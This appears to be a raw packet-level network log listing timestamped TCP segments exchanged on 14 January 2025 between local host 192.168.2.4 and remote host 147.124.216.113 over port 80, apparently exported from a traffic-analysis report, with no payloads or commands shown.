                                                                                                                                                        Jan 14, 2025 08:08:12.383764982 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383780003 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383781910 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383795023 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383811951 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.383827925 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.383847952 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384213924 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384296894 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384311914 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384334087 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384339094 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384356022 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384371042 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384385109 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384386063 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384404898 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384408951 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384419918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384434938 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384450912 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384475946 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384479046 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384491920 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384516001 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384530067 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384531975 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384546995 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384562969 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384574890 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384599924 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384685993 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384701014 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384733915 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384747982 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384747982 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384789944 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384871960 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384896040 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384911060 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384926081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384942055 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384942055 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384958029 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384963036 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.384974957 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.384989977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385004997 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385004997 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.385020018 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385029078 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.385035038 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385051012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385062933 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.385066986 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385112047 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.385176897 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385191917 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385207891 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385221004 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.385224104 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.385256052 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.385557890 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.436619043 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436654091 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436686993 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436752081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436800957 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436796904 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.436798096 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.436835051 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436872005 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436877012 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.436922073 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.436924934 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.436970949 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437004089 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437020063 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437051058 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437083960 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437103987 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437123060 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437134027 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437171936 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437182903 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437231064 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437232018 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437297106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437346935 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437355995 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437396049 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437444925 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437446117 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437493086 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437544107 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437544107 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437578917 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437612057 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437627077 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437661886 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437695980 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437712908 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437727928 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437774897 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437782049 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437809944 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437841892 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437858105 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437870026 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437901020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437933922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437942028 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437964916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.437980890 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.437998056 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438029051 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438041925 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438061953 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438092947 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438112974 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438128948 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438159943 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438174009 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438191891 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438222885 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438236952 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438256025 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438287973 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438302994 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438321114 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438353062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438374996 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438374996 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438385010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438416958 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438431978 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438462019 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438493013 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438507080 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.438527107 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438559055 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.438575029 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474000931 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474025011 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474040985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474069118 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474071026 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474085093 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474101067 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474101067 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474117041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474139929 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474155903 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474154949 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474170923 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474186897 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474188089 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474201918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474210024 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474225998 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474230051 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474241018 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474256039 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474275112 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474277973 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474293947 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474304914 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474312067 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474328041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474332094 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474342108 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474365950 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474375963 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474380016 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474391937 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474416971 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474419117 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474431992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474436998 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474443913 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474456072 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474468946 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474492073 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474492073 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474503994 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474555016 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474797964 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474860907 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474893093 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474910021 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.474942923 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474976063 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.474994898 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475023985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475058079 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475080013 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475115061 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475127935 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475140095 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475152016 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475167036 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475188971 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475202084 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475234032 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475254059 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475266933 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475301981 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475342989 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475392103 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475445032 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475450993 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475477934 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475508928 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475523949 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475543022 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475579977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475591898 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475630045 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475677967 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475678921 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475713968 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475744963 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475760937 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475776911 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475809097 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475822926 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475841999 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475872993 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475898981 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475903988 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475938082 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.475950003 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.475991011 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.476023912 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.476037979 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.476057053 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.476089001 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.476105928 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.476119995 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.476166964 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.476170063 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.517889023 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527404070 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527456999 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527491093 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527523041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527573109 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527606010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527637959 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527663946 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527663946 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527663946 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527694941 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527740002 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527745962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527779102 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527811050 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527842999 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527892113 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527923107 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527954102 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.527975082 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527975082 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527975082 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.527986050 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528036118 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528045893 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528069973 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528103113 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528119087 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528135061 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528188944 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528239012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528275013 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528306007 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528325081 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528337955 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528369904 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528384924 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528403044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528451920 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528453112 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528484106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528517008 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528542042 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528548002 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528580904 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528594971 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528614044 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528645992 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528661013 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528678894 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528713942 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528728962 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528747082 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528779984 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528793097 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528811932 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528845072 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528856993 CET4973780192.168.2.4147.124.216.113
